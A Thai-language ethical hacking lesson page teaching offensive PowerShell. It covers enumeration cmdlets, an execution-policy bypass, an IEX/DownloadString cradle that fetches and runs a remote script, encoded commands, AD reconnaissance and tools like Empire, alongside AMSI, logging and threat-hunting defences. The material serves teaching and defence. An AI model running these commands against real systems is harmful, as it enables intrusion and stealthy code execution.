PowerShell สำหรับผู้โจมตี
PowerShell เชิงรุก
PowerShell สำหรับผู้โจมตี เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
เหตุผลที่ใช้ PowerShell
PowerShell มีอยู่ใน Windows ผสานรวมอย่างลึกซึ้งกับ OS และ .NET และได้รับความไว้วางใจจากผู้ดูแลระบบ จึงเป็นเครื่องมือ ใช้ทรัพยากรที่มีอยู่ในระบบ ยอดนิยมของผู้โจมตี เพราะไม่ต้องนำมัลแวร์เข้าไปวาง
บทเรียนนี้ครอบคลุมแนวคิด PowerShell เชิงรุกที่คุณต้องเข้าใจเพื่อโจมตีและป้องกัน Windows
คำสั่งย่อยและไปป์ไลน์
คำสั่ง PowerShell คือ คำสั่งย่อย ในรูปแบบกริยา-คำนาม โดยส่งผ่าน ออบเจ็กต์ ที่มีข้อมูลครบถ้วน (ไม่ใช่แค่ข้อความ) ไปตามไปป์ไลน์ ทำให้การแจกแจงระบบมีประสิทธิภาพ
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Idการแจกแจงระบบ
ผู้โจมตีใช้คำสั่งย่อยที่มีมาให้ในระบบเพื่อสำรวจโฮสต์ได้อย่างรวดเร็ว ทั้งผู้ใช้ บริการ เครือข่าย และแพตช์
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listenนโยบายการเรียกใช้ไม่ใช่ความปลอดภัย
นโยบายการเรียกใช้ จำกัดการเรียกใช้ไฟล์สคริปต์ แต่ไม่ใช่ขอบเขตความปลอดภัย มีตัวเลือกง่าย ๆ มากมายที่ใช้ข้ามข้อจำกัดนี้ได้ ดังนั้นผู้ป้องกันจึงไม่ควรพึ่งพานโยบายนี้
powershell -ExecutionPolicy Bypass -File script.ps1ดาวน์โหลดและเรียกใช้
เทคนิคทั่วไปคือดึงข้อมูลน้ำหนักบรรทุกมาแล้วเรียกใช้ในหน่วยความจำ ทำให้มีสิ่งตกค้างบนดิสก์เพียงเล็กน้อย ด้วยเหตุนี้การตรวจสอบเครือข่ายและ AMSI จึงมีความสำคัญ
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')คำสั่งที่เข้ารหัส
แฟล็ก -EncodedCommand จะเรียกใช้ PowerShell ที่เข้ารหัสด้วย Base64 ซึ่งมักใช้เพื่อซ่อนเจตนาจากการตรวจสอบแบบผิวเผินและตัวกรองอย่างง่าย
ผู้ป้องกันจะถอดรหัสคำสั่งเหล่านี้จากบันทึก เพื่อเปิดเผยว่ามีการเรียกใช้อะไรจริง
powershell -EncodedCommand <base64-here>เฟรมเวิร์กเชิงรุก
ชุดเครื่องมือที่พัฒนามาอย่างสมบูรณ์ต่อยอดจากพื้นฐานเหล่านี้:
- PowerSploit / PowerView - การแจกแจง AD และการโจมตีหลังการยึดระบบ
- Empire / Covenant - การสั่งการและควบคุม
- Nishang - สคริปต์เชิงรุก
ปัจจุบันระบบป้องกันส่วนใหญ่มีลายเซ็นตรวจจับเครื่องมือเหล่านี้อย่างเข้มงวดแล้ว
การลาดตระเวน Active Directory
ในโดเมน PowerShell (PowerView หรือโมดูล AD) จะทำแผนที่ผู้ใช้ กลุ่ม และความสัมพันธ์ด้านความเชื่อถือ ซึ่งเป็นพื้นฐานสำหรับค้นหาเส้นทางไปสู่ผู้ดูแลโดเมน
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI และการบันทึกกิจกรรม
Microsoft ได้เพิ่มการป้องกันสำหรับการใช้ PowerShell ในทางที่ผิดโดยเฉพาะ:
- AMSI (ส่วนติดต่อการสแกนป้องกันมัลแวร์) จะสแกนเนื้อหาสคริปต์ก่อนเรียกใช้
- การบันทึกบล็อกสคริปต์ จะบันทึกสิ่งที่ถูกเรียกใช้
- โหมดภาษาที่จำกัด จะจำกัดความสามารถที่เป็นอันตราย
ผู้โจมตีพยายามข้าม AMSI ส่วนผู้ป้องกันจะเฝ้าดูบันทึก
การค้นหาภัยคุกคามเชิงป้องกัน
ทีมป้องกันจะค้นหา PowerShell ที่เป็นอันตรายโดยมองหา:
- คำสั่งที่เข้ารหัสหรือทำให้อ่านได้ยาก
- การดึงข้อมูลจากเครือข่ายด้วย
DownloadString/IEX - กระบวนการแม่ที่ผิดปกติ (Office เรียกใช้ PowerShell)
- บันทึกบล็อกสคริปต์จาก AMSI และเหตุการณ์ ID 4104
ใช้อย่างมีจริยธรรม
เทคนิคเหล่านี้มีประสิทธิภาพสูงและสอดคล้องโดยตรงกับการบุกรุกจริง โปรดเรียกใช้เฉพาะในห้องทดลองของคุณเอง หรือเมื่อได้รับอนุญาตเป็นลายลักษณ์อักษรอย่างชัดเจนเท่านั้น
การฝึกด้านการป้องกัน เช่น การอ่านบันทึกและสังเกตการตรวจพบโดย AMSI มีคุณค่าไม่แพ้ด้านการโจมตี
ตรวจสอบอย่างรวดเร็ว
ประเมินนโยบายการเรียกใช้ในฐานะมาตรการควบคุม
สรุปทบทวน
คุณได้สำรวจ PowerShell เชิงรุก:
- คำสั่งย่อย ที่ทำงานกับออบเจ็กต์ทำให้การแจกแจงระบบมีประสิทธิภาพและแฝงตัวได้ดี (การใช้ทรัพยากรที่มีอยู่ในระบบ)
- การดาวน์โหลดแล้วเรียกใช้ คำสั่งที่เข้ารหัส และเฟรมเวิร์กอย่าง PowerView/Empire
- นโยบายการเรียกใช้ ไม่ใช่ความปลอดภัย ส่วน AMSI และ การบันทึกบล็อกสคริปต์ คือการป้องกันที่แท้จริง
- ปฏิบัติงานอย่างมีจริยธรรมและศึกษาแนวทางการป้องกันอยู่เสมอ
หลักสูตร Windows Internals นี้จบลงแล้ว
คำถามที่พบบ่อย
บทเรียน “PowerShell สำหรับผู้โจมตี” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “PowerShell สำหรับผู้โจมตี” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “PowerShell สำหรับผู้โจมตี”
PowerShell เชิงรุก คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน
บทเรียน “PowerShell สำหรับผู้โจมตี” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม
ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- สถาปัตยกรรม Windows
- รีจิสทรี
- การยืนยันตัวตนของ Windows
- PowerShell สำหรับผู้โจมตี